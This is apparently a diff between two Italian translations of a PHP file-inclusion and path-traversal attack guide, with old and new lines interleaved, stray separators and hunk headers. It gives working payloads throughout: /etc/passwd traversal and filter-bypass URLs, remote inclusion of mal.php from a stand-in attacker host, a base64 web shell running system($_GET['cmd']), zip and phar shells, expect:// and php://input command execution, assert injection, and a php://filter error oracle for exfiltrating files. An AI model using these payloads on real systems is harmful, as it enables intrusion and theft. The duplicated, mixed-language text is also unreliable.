http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```
|
||||
### Dalla cartella esistente
|
||||
### Da una cartella esistente
|
||||
|
||||
Forse il back-end sta controllando il percorso della cartella:
|
||||
Forse il back-end sta verificando il percorso della cartella:
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Esplorare le directory del file system su un server
|
||||
|
||||
Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando alcune tecniche. Questo processo comporta la determinazione della profondità delle directory e il controllo dell'esistenza di cartelle specifiche. Di seguito un metodo dettagliato per farlo:
|
||||
Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando alcune tecniche. Questo processo comporta la determinazione della profondità delle directory e la verifica dell'esistenza di cartelle specifiche. Di seguito è riportato un metodo dettagliato per ottenere ciò:
|
||||
|
||||
1. **Determinare la profondità della directory:** Accertare la profondità della directory corrente riuscendo a recuperare il file `/etc/passwd` (applicabile se il server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre:
|
||||
1. **Determine Directory Depth:** Determina la profondità della directory corrente recuperando con successo il file `/etc/passwd` (applicabile se il server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Sonda le cartelle:** Aggiungi il nome della cartella sospetta (es., `private`) all'URL, poi torna a `/etc/passwd`. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno:
|
||||
2. **Verifica le cartelle:** Aggiungi il nome della cartella sospetta (es., `private`) all'URL, poi torna a `/etc/passwd`. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Interpretare i risultati:** La risposta del server indica se la cartella esiste:
|
||||
3. **Interpreta i risultati:** La risposta del server indica se la cartella esiste:
|
||||
- **Errore / Nessun output:** La cartella `private` probabilmente non esiste nella posizione specificata.
|
||||
- **Contenuto di `/etc/passwd`:** La presenza della cartella `private` è confermata.
|
||||
4. **Esplorazione ricorsiva:** Le cartelle scoperte possono essere ulteriormente esplorate per sottodirectory o file usando la stessa tecnica o i metodi tradizionali di Local File Inclusion (LFI).
|
||||
4. **Esplorazione ricorsiva:** Le cartelle scoperte possono essere ulteriormente esplorate per sottodirectory o file usando la stessa tecnica o i tradizionali metodi di Local File Inclusion (LFI).
|
||||
|
||||
Per esplorare directory in posizioni diverse del file system, adatta il payload di conseguenza. Ad esempio, per verificare se `/var/www/` contiene una directory `private` (supponendo che la directory corrente sia ad una profondità di 3), usa:
|
||||
Per esplorare directory in posizioni diverse del file system, modifica di conseguenza il payload. Ad esempio, per verificare se `/var/www/` contiene una directory `private` (assumendo che la directory corrente si trovi a una profondità di 3), usa:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Path Truncation Technique**
|
||||
|
||||
Path truncation è un metodo impiegato per manipolare i percorsi di file nelle applicazioni web. Viene spesso usato per accedere a file protetti bypassando certe misure di sicurezza che aggiungono caratteri alla fine dei percorsi. L'obiettivo è creare un percorso che, una volta modificato dalla misura di sicurezza, punti ancora al file desiderato.
|
||||
Path truncation è un metodo impiegato per manipolare i percorsi di file nelle applicazioni web. Viene spesso usato per accedere a file riservati aggirando certe misure di sicurezza che aggiungono caratteri alla fine dei percorsi. L'obiettivo è creare un percorso file che, una volta modificato dalla misura di sicurezza, punti ancora al file desiderato.
|
||||
|
||||
In PHP, varie rappresentazioni di un percorso di file possono essere considerate equivalenti a causa della natura del filesystem. Per esempio:
|
||||
In PHP, varie rappresentazioni di un percorso file possono essere considerate equivalenti a causa della natura del file system. Per esempio:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` sono tutti trattati come lo stesso percorso.
|
||||
- Quando gli ultimi 6 caratteri sono `passwd`, aggiungere una `/` (rendendo `passwd/`) non cambia il file di destinazione.
|
||||
- Allo stesso modo, se `.php` è aggiunto a un percorso (come `shellcode.php`), aggiungere `/.` alla fine non altera il file a cui si accede.
|
||||
- Quando gli ultimi 6 caratteri sono `passwd`, aggiungere una `/` (rendendolo `passwd/`) non cambia il file target.
|
||||
- Analogamente, se `.php` viene aggiunto a un percorso di file (come `shellcode.php`), aggiungere un `/.` alla fine non altererà il file a cui si accede.
|
||||
|
||||
Gli esempi forniti mostrano come utilizzare path truncation per accedere a `/etc/passwd`, un target comune a causa del suo contenuto sensibile (informazioni sugli account utente):
|
||||
Gli esempi forniti dimostrano come utilizzare path truncation per accedere a `/etc/passwd`, un target comune a causa del suo contenuto sensibile (informazioni sugli account utente):
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
In questi scenari, il numero di traversal necessari potrebbe essere circa 2027, ma questo numero può variare in base alla configurazione del server.
|
||||
In questi scenari, il numero di traversals necessari potrebbe essere attorno a 2027, ma questo valore può variare in base alla configurazione del server.
|
||||
|
||||
- **Usare Dot Segments e caratteri aggiuntivi**: Le traversal sequences (`../`) combinate con dot segments aggiuntivi e caratteri possono essere usate per navigare il file system, facendo in modo di ignorare le stringhe aggiunte dal server.
|
||||
- **Determinare il numero di traversal richiesto**: Attraverso tentativi ed errori, si può trovare il numero preciso di `../` traversal necessari per arrivare alla directory root e poi a `/etc/passwd`, assicurandosi che eventuali stringhe aggiunte (come `.php`) vengano neutralizzate ma il percorso desiderato (`/etc/passwd`) rimanga intatto.
|
||||
- **Iniziare con una directory finta**: È prassi comune iniziare il percorso con una directory inesistente (come `a/`). Questa tecnica viene usata come misura precauzionale o per soddisfare i requisiti della logica di parsing del percorso del server.
|
||||
- **Using Dot Segments and Additional Characters**: Sequenze di traversal (`../`) combinate con segmenti di punto aggiuntivi e caratteri possono essere usate per navigare il filesystem, ignorando efficacemente le stringhe aggiunte dal server.
|
||||
- **Determining the Required Number of Traversals**: Attraverso tentativi ed errori, si può scoprire il numero preciso di sequenze `../` necessarie per arrivare alla directory root e poi a `/etc/passwd`, assicurando che eventuali stringhe aggiunte (come `.php`) vengano neutralizzate ma il percorso desiderato (`/etc/passwd`) rimanga intatto.
|
||||
- **Starting with a Fake Directory**: È pratica comune iniziare il percorso con una directory inesistente (come `a/`). Questa tecnica viene usata come misura precauzionale o per soddisfare i requisiti della logica di parsing dei percorsi del server.
|
||||
|
||||
Quando si impiegano tecniche di path truncation, è fondamentale comprendere il comportamento di parsing dei percorsi del server e la struttura del filesystem. Ogni scenario può richiedere un approccio diverso, e spesso è necessario testare per trovare il metodo più efficace.
|
||||
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
|
||||
|
||||
**Questa vulnerabilità è stata corretta in PHP 5.3.**
|
||||
**This vulnerability was corrected in PHP 5.3.**
|
||||
|
||||
### **Trucchi per bypassare i filtri**
|
||||
### **Filter bypass tricks**
|
||||
```
|
||||
http://example.com/index.php?page=....//....//etc/passwd
|
||||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||||
@ -145,19 +145,19 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Remote File Inclusion
|
||||
|
||||
In php questo è disabilitato di default perché **`allow_url_include`** è **Off.** Deve essere **On** perché funzioni, e in quel caso potresti includere un file PHP dal tuo server ed ottenere RCE:
|
||||
In php questo è disabilitato per impostazione predefinita perché **`allow_url_include`** è **Off.** Deve essere **On** perché funzioni, e in quel caso potresti includere un file PHP dal tuo server e ottenere RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Se per qualche motivo **`allow_url_include`** è **On**, ma PHP sta **filtrando** l'accesso a pagine web esterne, [secondo questo post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), puoi usare per esempio il protocollo data con base64 per decodificare un PHP codificato in b64 e ottenere RCE:
|
||||
Se per qualche motivo **`allow_url_include`** è **attivo**, ma PHP sta **filtrando** l'accesso a pagine web esterne, [secondo questo post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), puoi usare ad esempio il protocollo data con base64 per decodificare un codice PHP in b64 e ottenere RCE:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> Nel codice precedente, il `+.txt` finale è stato aggiunto perché l attacker aveva bisogno di una stringa che terminasse con `.txt`, quindi la stringa finisce con esso e dopo la decodifica b64 quella parte restituirà solo dati inutili e il vero codice PHP sarà incluso (e quindi eseguito).
|
||||
>
|
||||
> Un altro esempio **che non usa il protocollo `php://`** sarebbe:
|
||||
> Nel codice precedente, il finale `+.txt` è stato aggiunto perché l'attaccante aveva bisogno di una stringa che finisse con `.txt`, quindi la stringa termina con quella parte e dopo la decodifica b64 quella parte ritornerà solo spazzatura e il vero codice PHP verrà incluso (e quindi eseguito).
|
||||
|
||||
Un altro esempio **che non usa il protocollo `php://`** sarebbe:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
@ -173,17 +173,17 @@ Se l'utente passa un **percorso assoluto** a **`file_name`**, il **percorso prec
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
Questo è il comportamento previsto secondo [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
È il comportamento previsto secondo [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
|
||||
> Se un componente è un percorso assoluto, tutti i componenti precedenti vengono scartati e l'operazione di join continua dal componente del percorso assoluto.
|
||||
> Se un componente è un percorso assoluto, tutti i componenti precedenti vengono scartati e l'unione continua dal componente del percorso assoluto.
|
||||
|
||||
## Java List Directories
|
||||
## Java Elenco delle directory
|
||||
|
||||
Sembra che se hai una Path Traversal in Java e **richiedi una directory** invece di un file, venga restituito un **listing della directory**. Questo non accade in altri linguaggi (per quanto ne so).
|
||||
Sembra che se si ha un Path Traversal in Java e si **richiede una directory** invece di un file, viene restituito un **elenco della directory**. Questo non succede in altri linguaggi (afaik).
|
||||
|
||||
## Top 25 parameters
|
||||
## Top 25 parametri
|
||||
|
||||
Ecco la lista dei top 25 parameters che potrebbero essere vulnerabili a local file inclusion (LFI) (da [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
Ecco la lista dei 25 principali parametri che potrebbero essere vulnerabili a local file inclusion (LFI) (da [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -211,30 +211,30 @@ Ecco la lista dei top 25 parameters che potrebbero essere vulnerabili a local fi
|
||||
?mod={payload}
|
||||
?conf={payload}
|
||||
```
|
||||
## LFI / RFI usando PHP wrappers & protocolli
|
||||
## LFI / RFI using PHP wrappers & protocols
|
||||
|
||||
### php://filter
|
||||
|
||||
I filter PHP permettono di eseguire semplici **operazioni di modifica sui dati** prima che vengano letti o scritti. Ci sono 5 categorie di filtri:
|
||||
I PHP filters permettono di eseguire operazioni di base di **modifica sui dati** prima che vengano letti o scritti. Ci sono 5 categorie di filtri:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
- `string.toupper`
|
||||
- `string.tolower`
|
||||
- `string.strip_tags`: Rimuove i tag dai dati (tutto ciò che è tra i caratteri "<" e ">")
|
||||
- Nota che questo filtro è scomparso nelle versioni moderne di PHP
|
||||
- `string.strip_tags`: Rimuove i tag dai dati (tutto ciò che sta tra i caratteri "<" e ">")
|
||||
- Nota che questo filtro è scomparso dalle versioni moderne di PHP
|
||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `convert.base64-encode`
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : Trasforma in una codifica diversa (`convert.iconv.<input_enc>.<output_enc>`). Per ottenere la **lista di tutte le codifiche** supportate esegui in console: `iconv -l`
|
||||
- `convert.iconv.*` : Trasforma in una codifica diversa(`convert.iconv.<input_enc>.<output_enc>`). Per ottenere la **lista di tutte le codifiche** supportate esegui in console: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, il che può essere utile per scrivere testo arbitrario o far sì che una funzione come include processi testo arbitrario. Per maggiori informazioni consulta [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, il che può essere utile per scrivere testo arbitrario o fare in modo che una funzione come include tratti testo arbitrario. Per maggiori informazioni consulta [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: Comprimi il contenuto (utile se si devono esfiltrare molte informazioni)
|
||||
- `zlib.deflate`: Comprimi il contenuto (utile se si esfiltra una grande quantità di informazioni)
|
||||
- `zlib.inflate`: Decomprimi i dati
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : Deprecato
|
||||
@ -242,7 +242,7 @@ I filter PHP permettono di eseguire semplici **operazioni di modifica sui dati**
|
||||
- Other Filters
|
||||
- Eseguendo in php `var_dump(stream_get_filters());` puoi trovare un paio di **filtri inaspettati**:
|
||||
- `consumed`
|
||||
- `dechunk`: inverte l'encoding chunked HTTP
|
||||
- `dechunk`: inverte la codifica HTTP chunked
|
||||
- `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
@ -271,29 +271,29 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||
```
|
||||
> [!WARNING]
|
||||
> La parte "php://filter" non fa distinzione tra maiuscole e minuscole
|
||||
> La parte "php://filter" è insensibile alle maiuscole
|
||||
|
||||
### Usare php filters come oracle per leggere file arbitrari
|
||||
### Using php filters as oracle to read arbitrary files
|
||||
|
||||
[**In questo post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) viene proposta una tecnica per leggere un file locale senza che l'output venga restituito dal server. Questa tecnica si basa su una **boolean exfiltration of the file (char by char) using php filters** come oracle. Questo perché i php filters possono essere usati per rendere un testo abbastanza grande da far lanciare un'eccezione a php.
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) è proposta una tecnica per leggere un file locale senza che l'output venga restituito dal server. Questa tecnica si basa su una boolean exfiltration del file (char by char) usando php filters come oracle. Questo perché i php filters possono essere usati per rendere un testo abbastanza grande da far php generare un'eccezione.
|
||||
|
||||
Nel post originale trovi una spiegazione dettagliata della tecnica, qui invece un rapido riassunto:
|
||||
Nel post originale trovi una spiegazione dettagliata della tecnica, ma qui una breve sintesi:
|
||||
|
||||
- Usa il codec **`UCS-4LE`** per lasciare il carattere iniziale del testo all'inizio e far aumentare esponenzialmente la dimensione della stringa.
|
||||
- Questo servirà a generare un **testo così grande quando la lettera iniziale è indovinata correttamente** che php genererà un **errore**
|
||||
- Il filtro **dechunk** rimuoverà tutto se il primo carattere non è un esadecimale, quindi possiamo sapere se il primo carattere è hex.
|
||||
- Questo, combinato con il precedente (e altri filters a seconda della lettera indovinata), ci permetterà di indovinare una lettera all'inizio del testo osservando quando applichiamo abbastanza trasformazioni da farla non essere più un carattere esadecimale. Perché se è hex, dechunk non la cancellerà e la bomba iniziale farà scattare l'errore php.
|
||||
- Il codec **convert.iconv.UNICODE.CP930** trasforma ogni lettera nella successiva (quindi dopo questo codec: `a -> b`). Questo ci permette di scoprire se la prima lettera è una `a` per esempio, perché se applichiamo 6 volte questo codec `a->b->c->d->e->f->g` la lettera non è più un carattere esadecimale, quindi dechunk non la elimina e l'errore php viene innescato perché si moltiplica con la bomba iniziale.
|
||||
- Usando altre trasformazioni come **rot13** all'inizio è possibile leak altri caratteri come n, o, p, q, r (e altri codecs possono essere usati per portare altre lettere nell'intervallo hex).
|
||||
- Quando il carattere iniziale è un numero è necessario codificarlo in base64 e leak le prime 2 lettere per ottenere il numero.
|
||||
- Il problema finale è capire **how to leak more than the initial letter**. Usando filtri che cambiano l'ordine dei byte in memoria come **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei caratteri e portare in prima posizione altre lettere del testo.
|
||||
- E per poter ottenere **further data** l'idea è di **generare 2 byte di junk data all'inizio** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farli pivotare con i successivi 2 byte, e **cancellare i dati fino ai junk data** (questo rimuoverà i primi 2 byte del testo iniziale). Continuare così finché non si raggiunge il bit desiderato da leak.
|
||||
- Questo verrà usato per generare un **testo così grande quando la lettera iniziale è indovinata correttamente** che php innescherà un **errore**
|
||||
- Il filtro **dechunk** **rimuoverà tutto se il primo char non è esadecimale**, quindi possiamo sapere se il primo char è hex.
|
||||
- Questo, combinato con il precedente (e altri filters a seconda della lettera indovinata), ci permetterà di indovinare una lettera all'inizio del testo vedendo quando applichiamo abbastanza trasformazioni da farla non essere più un carattere esadecimale. Perché se è hex, dechunk non la cancellerà e la bomba iniziale farà scattare l'errore php.
|
||||
- Il codec **convert.iconv.UNICODE.CP930** trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una `a` per esempio perché se applichiamo 6 volte questo codec a->b->c->d->e->f->g la lettera non è più un carattere esadecimale, quindi dechunk non la cancella e l'errore php viene innescato a causa della moltiplicazione con la bomba iniziale.
|
||||
- Usando altre trasformazioni come **rot13** all'inizio è possibile leakare altri char come n, o, p, q, r (e altri codecs possono essere usati per spostare altre lettere nell'intervallo hex).
|
||||
- Quando il char iniziale è un numero è necessario codificarlo in base64 e leakare le prime 2 lettere per ottenere il numero.
|
||||
- Il problema finale è vedere **come leakare più della lettera iniziale**. Usando memory order filters come **convert.iconv.UTF16.UTF-16BE**, **convert.iconv.UCS-4.UCS-4LE**, **convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei caratteri e mettere in prima posizione altre lettere del testo.
|
||||
- E per poter ottenere **dati successivi** l'idea è **generare 2 byte di junk all'inizio** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farli **pivotare con i successivi 2 byte**, e cancellare i dati fino al junk (questo rimuoverà i primi 2 byte del testo iniziale). Continuare così fino a raggiungere il bit desiderato da leakare.
|
||||
|
||||
Nel post è stato anche pubblicato uno strumento per eseguire automaticamente questo: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
Nel post è stato anche leakato uno strumento per eseguire tutto automaticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
Questo wrapper permette di accedere ai file descriptors che il processo ha aperti. Potenzialmente utile per exfiltrate il contenuto dei file aperti:
|
||||
Questo wrapper permette di accedere ai file descriptors che il processo ha aperti. Potenzialmente utile per exfiltrate il contenuto di file aperti:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
@ -302,8 +302,8 @@ Puoi anche usare **php://stdin, php://stdout and php://stderr** per accedere ai
|
||||
|
||||
### zip:// and rar://
|
||||
|
||||
Carica un file Zip o Rar con una PHPShell all'interno e accedervi.\
|
||||
Per poter abusare del protocollo rar è **necessario attivarlo specificamente**.
|
||||
Carica un file Zip o Rar con una PHPShell all'interno e accedi ad esso.\
|
||||
Per poter abusare del protocollo rar, esso **deve essere specificamente attivato**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -328,7 +328,7 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
||||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
Nota che questo protocollo è limitato dalle configurazioni php **`allow_url_open`** e **`allow_url_include`**
|
||||
Nota che questo protocollo è soggetto a restrizioni dalle configurazioni php **`allow_url_open`** e **`allow_url_include`**
|
||||
|
||||
### expect://
|
||||
|
||||
@ -339,13 +339,13 @@ http://example.com/index.php?page=expect://ls
|
||||
```
|
||||
### input://
|
||||
|
||||
Specifica il tuo payload nei parametri POST:
|
||||
Specifica il tuo payload nei POST parameters:
|
||||
```bash
|
||||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||||
```
|
||||
### phar://
|
||||
|
||||
Un file `.phar` può essere utilizzato per eseguire codice PHP quando un'applicazione web sfrutta funzioni come `include` per il caricamento di file. Lo snippet PHP mostrato di seguito dimostra la creazione di un file `.phar`:
|
||||
Un file `.phar` può essere utilizzato per eseguire codice PHP quando un'applicazione web sfrutta funzioni come `include` per il caricamento di file. Lo snippet di codice PHP mostrato di seguito dimostra la creazione di un file `.phar`:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -354,15 +354,15 @@ $phar->addFromString('test.txt', 'text');
|
||||
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
||||
$phar->stopBuffering();
|
||||
```
|
||||
Per compilare il file `.phar`, deve essere eseguito il seguente comando:
|
||||
Per compilare il file `.phar`, eseguire il seguente comando:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
Al momento dell'esecuzione, verrà creato un file chiamato `test.phar`, che potrebbe essere sfruttato per attaccare vulnerabilità di Local File Inclusion (LFI).
|
||||
Alla sua esecuzione, verrà creato un file chiamato `test.phar`, che potrebbe essere potenzialmente sfruttato per abusare di vulnerabilità di Local File Inclusion (LFI).
|
||||
|
||||
Nei casi in cui l'LFI esegue solo la lettura di file senza eseguire il codice PHP al loro interno — ad esempio attraverso funzioni come `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` o `filesize()` — si può tentare lo sfruttamento di una vulnerabilità di deserializzazione. Questa vulnerabilità è legata alla lettura di file usando il protocollo `phar`.
|
||||
Nei casi in cui l'LFI esegua solo la lettura di file senza eseguire il codice PHP al loro interno, tramite funzioni come `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, si può tentare lo sfruttamento di una vulnerabilità di deserialization. Questa vulnerabilità è associata alla lettura di file usando il protocollo `phar`.
|
||||
|
||||
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
||||
Per una comprensione dettagliata di come sfruttare vulnerabilità di deserialization nel contesto dei file `.phar`, fare riferimento al documento linkato di seguito:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
@ -373,32 +373,32 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Breve riassunto: un **overflow di 3 byte** nell'heap di PHP è stato sfruttato per **alterare la catena di free chunks** di una specifica dimensione al fine di poter **scrivere qualsiasi cosa in qualsiasi indirizzo**, quindi è stato aggiunto un hook per chiamare **`system`**.\
|
||||
È stato possibile allocare chunk di dimensioni specifiche abusando di altri php filters.
|
||||
È stato possibile abusare di **any arbitrary file read from PHP that supports php filters** per ottenere una RCE. La descrizione dettagliata può essere [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Riepilogo molto rapido: un **3 byte overflow** nell'heap di PHP è stato abusato per **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, quindi è stato aggiunto un hook per chiamare **`system`**.\
|
||||
È stato possibile alloc chunks di dimensioni specifiche abusando di più php filters.
|
||||
|
||||
### More protocols
|
||||
|
||||
Vedi altri possibili[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
Controlla altri possibili[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Scrive in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un attacco di file inclusion)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Scrive in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un file inclusion attack)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accesso al filesystem locale
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accesso a URL HTTP(s)
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accesso a URL FTP(s)
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Stream di compressione
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trova pathnames che corrispondono al pattern (non restituisce nulla di stampabile, quindi non è molto utile qui)
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trova pathnames che corrispondono al pattern (Non restituisce nulla di stampabile, quindi non è molto utile qui)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Stream audio (non utile per leggere file arbitrari)
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Stream audio (Non utile per leggere file arbitrari)
|
||||
|
||||
## LFI tramite 'assert' di PHP
|
||||
## LFI via 'assert' di PHP
|
||||
|
||||
I rischi di Local File Inclusion (LFI) in PHP sono particolarmente alti quando si lavora con la funzione 'assert', che può eseguire codice contenuto in stringhe. Questo è particolarmente problematico se l'input contenente caratteri di directory traversal come ".." viene controllato ma non adeguatamente sanitizzato.
|
||||
Il rischio di Local File Inclusion (LFI) in PHP è particolarmente elevato quando si tratta della funzione 'assert', che può eseguire codice contenuto in stringhe. Questo è particolarmente problematico se un input contenente caratteri di directory traversal come ".." viene controllato ma non correttamente sanificato.
|
||||
|
||||
Ad esempio, del codice PHP potrebbe essere progettato per prevenire il directory traversal in questo modo:
|
||||
Per esempio, il codice PHP potrebbe essere progettato per prevenire directory traversal in questo modo:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Sebbene ciò miri a bloccare la traversal, crea involontariamente un vettore per code injection. Per sfruttare questo per leggere il contenuto dei file, un attaccante potrebbe usare:
|
||||
Sebbene questo miri a impedire traversal, crea involontariamente un vettore per code injection. Per sfruttare questo per leggere il contenuto dei file, un attacker potrebbe usare:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
@ -406,20 +406,20 @@ Allo stesso modo, per eseguire comandi di sistema arbitrari, si potrebbe usare:
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
È importante **URL-encode** questi **payloads**.
|
||||
È importante **URL-encode these payloads**.
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Questa tecnica è rilevante nei casi in cui tu **controlli** il **file path** di una **PHP function** che **access a file** ma non vedrai il contenuto del file (come una semplice chiamata a **`file()`**) perché il contenuto non viene mostrato.
|
||||
> Questa tecnica è rilevante nei casi in cui tu **controlli** il **file path** di una **funzione PHP** che accederà a un file ma non vedrai il contenuto del file (per esempio una semplice chiamata a **`file()`**) e il contenuto non viene mostrato.
|
||||
|
||||
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) viene spiegato come un blind path traversal possa essere abusato tramite PHP filter per **exfiltrate the content of a file via an error oracle**.
|
||||
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) è spiegato come un blind path traversal può essere abusato tramite PHP filter per **exfiltrate the content of a file via an error oracle**.
|
||||
|
||||
In sintesi, la tecnica utilizza la codifica **"UCS-4LE"** per rendere il contenuto di un file così **grande** che la **PHP function** che apre il file innescherà un **errore**.
|
||||
In sintesi, la tecnica utilizza la codifica **"UCS-4LE"** per rendere il contenuto di un file così **grande** che la **PHP function** che apre il file scatenerà un **errore**.
|
||||
|
||||
